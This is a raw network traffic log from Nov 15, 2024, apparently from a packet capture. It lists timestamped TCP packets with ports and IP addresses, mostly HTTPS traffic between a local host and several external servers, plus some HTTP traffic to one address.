Nov 15, 2024 16:16:13.255450010 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.255462885 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.258306980 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.258429050 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.258441925 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.258552074 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.264092922 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.269727945 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.269768000 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.269859076 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.269870996 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.275357008 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.275451899 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.279369116 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.279400110 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.283241034 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.283273935 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.283329010 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.283351898 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.286695004 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.286876917 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.286887884 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.287108898 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.290249109 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.293865919 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.293900013 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.294258118 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.294265985 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.294589996 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.297403097 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.300961971 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.300995111 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.303446054 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.303455114 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.304697990 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.304944992 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.304953098 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.305268049 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.307919979 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.311352968 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.312189102 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.312199116 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.363364935 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.385611057 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.385704994 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.385925055 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:15.015564919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:15.015631914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:16.052083969 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.052136898 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.052391052 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.052459002 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.052474022 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.240710020 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:16.240797997 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:16.240890980 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:16.242573977 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:16.242638111 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:16.329740047 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:16.329781055 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:16.329855919 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:16.330075026 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:16.330084085 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:16.937824011 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.938323975 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.938350916 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.941874027 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.942003012 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.942277908 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.942423105 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:16.987086058 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:16.987102032 CET	443	49721	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:17.033935070 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:17.099606991 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.099841118 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.104155064 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.104171991 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.104619980 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.146272898 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.187341928 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.188216925 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.188489914 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.188510895 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.189009905 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.189070940 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.189999104 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.190049887 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.195993900 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.196075916 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.196173906 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.196194887 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.196194887 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.233505964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:17.233807087 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:17.237046957 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.237056017 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.238665104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:17.239233971 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:17.239324093 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:17.239434004 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:17.244574070 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:17.388549089 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.388725042 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.388812065 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.393759012 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.393794060 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.393821001 CET	49723	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.393836975 CET	443	49723	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.445786953 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.445822954 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.445888996 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.446227074 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:17.446240902 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:17.478578091 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.533687115 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.533704996 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.534729004 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:17.534794092 CET	443	49724	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:17.534858942 CET	49724	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:18.295208931 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.295295000 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.296920061 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.296933889 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.297267914 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.298502922 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.339334965 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.540826082 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.540890932 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.541048050 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.541903019 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.541918993 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.541932106 CET	49730	443	192.168.2.5	184.28.90.27
Nov 15, 2024 16:16:18.541937113 CET	443	49730	184.28.90.27	192.168.2.5
Nov 15, 2024 16:16:18.629966021 CET	49731	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:18.630012035 CET	443	49731	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:18.630338907 CET	49731	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:18.630558014 CET	49731	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:18.630575895 CET	443	49731	142.250.186.142	192.168.2.5
Nov 15, 2024 16:16:18.685545921 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:18.685611010 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:18.866071939 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:18.871006966 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:18.895488977 CET	49721	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:18.895629883 CET	49731	443	192.168.2.5	142.250.186.142
Nov 15, 2024 16:16:19.089560032 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:19.089598894 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:19.089695930 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:19.090981007 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:19.090993881 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:19.675503969 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:19.675590992 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:20.290446043 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:20.290616035 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:20.294759035 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:20.294785023 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:20.295033932 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:20.346076965 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.446654081 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.491345882 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.799999952 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800064087 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800085068 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800124884 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800137043 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.800168037 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800185919 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800193071 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.800214052 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.800236940 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.800757885 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.800837994 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:21.800852060 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.908282042 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:21.908374071 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:22.495603085 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:22.495661974 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:22.495884895 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:22.496305943 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:22.496325970 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:22.657329082 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:22.657392979 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:22.657613039 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:22.658709049 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:22.658757925 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.280934095 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:23.280967951 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:23.280982971 CET	49732	443	192.168.2.5	4.245.163.56
Nov 15, 2024 16:16:23.280991077 CET	443	49732	4.245.163.56	192.168.2.5
Nov 15, 2024 16:16:23.421713114 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.421788931 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.429060936 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.429094076 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.429435015 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.507786989 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.577673912 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.579862118 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.579881907 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.581345081 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.581413031 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.590496063 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.590636015 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.591116905 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.591130018 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.606895924 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.647370100 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.709362030 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.840078115 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.854289055 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854314089 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854321003 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854342937 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854353905 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854367971 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854377031 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.854414940 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.854441881 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.854469061 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.855911970 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.855931044 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.855968952 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.855986118 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.856014967 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.856039047 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.898690939 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.898768902 CET	443	49741	94.245.104.56	192.168.2.5
Nov 15, 2024 16:16:23.898865938 CET	49741	443	192.168.2.5	94.245.104.56
Nov 15, 2024 16:16:23.902071953 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:23.902100086 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:23.902184963 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:23.903302908 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:23.903328896 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:23.973449945 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.973467112 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.973532915 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.973567009 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.973593950 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.973613977 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.974688053 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.974704027 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.974756956 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.974771976 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.974806070 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.974828005 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.975790024 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.975804090 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.975893974 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.975908995 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.975980043 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.977632999 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.977647066 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.977694035 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.977714062 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:23.977741957 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:23.977761030 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.092576981 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.092633963 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.092678070 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.092703104 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.092729092 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.092756987 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.092945099 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.092961073 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.092993975 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.092999935 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.093019962 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.093034983 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.093544006 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.093560934 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.093621016 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.093635082 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.093668938 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.097012043 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097029924 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097090006 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.097096920 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097142935 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.097316980 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097336054 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097393990 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.097400904 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097436905 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.097940922 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.097954035 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.098012924 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.098020077 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.098057032 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.098150969 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.098165989 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.098210096 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.098216057 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.098257065 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.210977077 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.211040020 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.211071968 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.211112022 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.212253094 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.212279081 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.212294102 CET	49743	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.212301970 CET	443	49743	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.271903992 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.271945000 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.272013903 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.272118092 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.272211075 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.272286892 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.273839951 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.273883104 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.274032116 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274194002 CET	49753	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274219990 CET	443	49753	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.274341106 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274362087 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274360895 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.274375916 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.274429083 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274470091 CET	49752	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274514914 CET	443	49752	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.274979115 CET	49754	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.274992943 CET	443	49754	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.275137901 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.275146961 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.275219917 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.275327921 CET	49755	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:24.275335073 CET	443	49755	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:24.824693918 CET	80	49729	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:24.825515032 CET	49729	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:24.968373060 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:24.968492031 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.003200054 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.018939018 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.018959045 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.019510984 CET	49751	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:25.019515991 CET	443	49751	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:25.041203022 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.041220903 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.041460991 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.043557882 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.043596029 CET	49750	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:25.043634892 CET	443	49750	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:25.045239925 CET	443	49753	13.107.246.45	192.168.2.5
